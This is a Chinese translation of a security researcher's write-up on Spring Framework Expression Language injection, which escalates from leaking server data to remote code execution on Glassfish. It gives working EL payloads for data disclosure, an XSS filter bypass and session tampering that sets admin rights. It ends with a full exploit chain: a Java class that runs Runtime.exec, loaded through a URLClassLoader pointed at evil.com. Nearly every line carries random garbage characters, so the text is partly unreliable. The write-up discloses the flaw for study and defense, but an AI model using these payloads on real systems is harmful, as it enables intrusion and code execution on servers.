Remote Code with, T" K9 v( D, h# Z* Q
Expression Language Injection4 x7 e- s' z! F& ?% ^9 U, E! @
Spring Framework脆弱性—DanAmodio
$ W3 K! f7 Y! c2 Z1 H全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中% s0 G8 d4 @3 r
可能会存在风险。6 d5 _8 j$ F/ m: R4 J) [
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
% q5 D3 N- Z ]; X, T, N3 ]Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
( h9 q& `- }) T7 J以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,/ J/ U( Q" s" F$ ~4 n
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前; Q6 }& `& Q6 L" E, w1 h
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
, }+ T2 W' r' R" i3 A$ \由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
9 |3 L* v& |* N: N4 l我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版7 m) ]$ k7 {; I d5 ]: i
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。- A5 @8 C, j; @& H
这些版本不支持禁用double EL resolution." Y+ E5 L7 F: N% n
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
2 E9 z6 e: c4 g/ t; O+ lEL2.2容器上可能进行远程代码执行。
! z1 X# A3 U; _" O( ]3 z/ v/ X5 N9 C这是一个原始信息泄露的攻击例子:! u) ]% n1 U9 ~" f* F
请求:
8 c" k9 i6 g+ h0 N5 E7 d' @7 ?" Ottp://vulnerable.com/foo?message=${applicationScope}* ]( r( n* R/ W9 ~, E
到达以下内容页面:
r& a7 D3 ]" j4 T9 O结果将输出一些包含内部服务器信息calsspath 和本地工作目录
; z4 l3 v- k E0 E b' K( t. g你也可以做一些其他事情,如这样:# Q: S# P7 _, V
${9999+1}
4 p% a4 J) y8 C1 L: y还可以访问session 对象和beans) c0 P& F) y8 ?& W
${employee.lastName}
3 d! W$ M0 S& l" D2 Y9 D在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是) X$ o7 {# u. a3 o
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东3 N; w. J0 L# o0 w3 w) s b, W
西,比如XSS.
g; o( |5 Z" v7 ^9 r2 U- n/ _哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
4 k6 K" x2 W+ Y& [2 ~! _突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
, U. o+ [1 _' B5 b" Z) G" z呢?”
) _ }8 p' `& W9 {因此,我尝试巳缦拢�
5 J8 ^5 I9 t, O6 \8 u: h0 W4 Jhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP8 Y1 K3 |. c" J' f$ b; |# L5 e- Q
P
& |" g" r' G8 S8 R3 v7 v6 m我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返, |% H* U& J- i. P) M% N" U' L
回的文本被插入进了spring:message 标签。
- h9 M. R. r% g! h) ~$ T- F这里是一个最终绕过过滤的实例:2 B% r" `) ~8 u8 f: S1 F
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
1 {7 y7 }( c2 @6 p' C" u: g它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
# ~8 X' s$ w3 s5 N/ Q; a8 _. @& N什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
# D6 h8 V* f4 q经过一番研究,我学习到EL2.2 增加了方法调用。
* D) N4 `, R$ {我写了一个快速测试应用程序代码并且检测一些功能
$ d( u0 E: T8 d" a3 W R${pageContext.request.getSession().setAttribute(“account”,”123456″)}4 j' N1 d* Z6 b: B$ o% W
${pageContext.request.getSession().setAttribute(“admin”,true)}8 d5 ] ?$ e3 ?( N- U: j
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
( ?$ k6 i% x/ @! G, I' T$ S, b指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
, n ~5 G% s5 Z; g. n0 C( \${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
6 I1 ]/ j0 M( u0 T“, 1234)}; @ q0 P- }& Z. L1 L: y+ S4 v
${“”.getClass().forName(“java.lang.Runtime”)}6 j) @- B$ n' ~4 H
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不 X5 S0 p& f& ^6 x
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函* q0 r. I1 L7 p& m7 D2 F5 O
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有 _. L- b; Z, g3 ]8 M
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于, f1 o+ i# z5 F. m* C8 ~% V& p
方法签名invoke(Object obj, Object„ args)
; e0 `# m- {; P9 g2 LJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
# @7 `/ _2 r1 }题,以让它可以工作起来。
# Z7 w7 q6 g" z+ _. U. ?- b9 V漏洞利用:- `9 P9 V* x8 Z7 C
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我) g2 M `+ b1 {/ Z
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
# ?1 g6 [6 B- u这里有一些我试过的失败的用例,为了试图让它工作的用例:
: r. N$ g4 `8 ~ 写文件到文件系统
$ [5 w" g& _$ n) } Y( Y: ^ 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.5 t6 E0 G5 P0 F1 }
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
2 Z% \/ O: c) I# p${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
]" E7 P: M/ K6 ^javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:4 p4 A4 T6 Y; X0 n& H" v: B
org.springframework.expression.spel.standard.SpelExpressionParser not found
( ]& [; Z0 m8 _" kby
, U2 O5 T4 Z3 w. T8 d7 ~- ^; Rorg.glassfish.web.javax.servlet.jsp [194].9 J1 x* B X1 t- R7 C. f; b( w
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
+ ^; [2 ]' h2 c* r- y. r z 利用反射来创建一个新的Runtime(and watch the world burn): [ t3 I- f( |
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName5 ?( P1 M2 y0 H* ?/ p% G* L
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
; N+ k+ \9 o9 Y* i' p${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
: z x# g# f+ a 使用java.lang.ProcessBuilder m0 q4 q' C0 t; y# y
用表达式语言来评估表达式语言
, z- d9 r" \# A ~4 x4 j; [- lExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
% X8 U& j) Z% a; G1 k, k- A' `0 E; B) d${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request" h- y" i# \3 k p N
“,”".getClass(),null)}! Q8 C$ V) G9 `8 G1 z
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
6 X6 H( A# z: X) g2 M8 r3 L我在使用一个空数组通过Method.invoke()时失败了很多次5 k8 ?* e9 l0 u
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
# Q. V" d) h# I+ @.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
# n5 @/ V* ~& X9 FrrayList”).newInstance().toArray()), N0 \ d; _$ t. K- v4 h* B/ l
java.lang.IllegalArgumentException: wrong number of arguments
/ B7 L/ g) M; }+ j1 w K7 Y8 E, x; @最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可- D7 z" e' e; i/ G0 u8 s; `7 H
以创建一个恶意class文件并且指向类装载器.
* K3 F9 u; d: x+ y我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:# ~" ?* ^: Y4 y& U0 b |
public class Malicious {0 ^3 a7 H% \5 ~2 {. D( m
public Malicious() {* I) c0 \! u/ p. d& ~
try {
* o. o1 Q( G, L( V6 @3 h1 s, yjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
, z' A$ ^7 w3 J) @, ?java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win1 v# }! h& G6 L5 h5 X L# ]( s% i
} catch (Exception e) {8 P$ A5 l( _$ f l' y! w$ M
} f- D' t ~: w5 w9 c# p$ ~) z$ v/ C
}
9 m: M* P" E% C9 e( I4 _/ E我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回3 J+ H4 ]+ C' G4 U$ j
话中,因此它可以被使用.
/ T7 r \) b7 u${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName* \/ X7 t6 B' r) \. v
(“java.util.ArrayList”).newInstance())}
% F; U0 a. `* b& S* d1 mURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
* I9 D* q$ g3 N; q# [" b一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
5 B$ Y. d* s, G' }1 B, D$ agetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
! ~' N+ h& {# z) V! ?" n& D我们可以调用的create(string)方法,然后转换对一个URL对象。
" d1 B9 l4 {5 ` t. Q& Z${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh2 f9 M/ ?3 L: `0 o9 g
ere/malicious/classfile/is/located/”).toURL())}
& ~2 N1 V$ A2 h/ Q* C5 }1 z然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,5 m$ e; q3 R9 i
恶意类文件被装载并创建,触发远程代码.+ y P, W6 F1 [: G9 |' i/ D! Q8 s
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
7 ?4 q+ k0 T, K+ qxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
5 c* W1 f k/ P9 l+ a" y% YgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
+ P5 Z$ U# h+ k# p* [9 c# e/ R()} |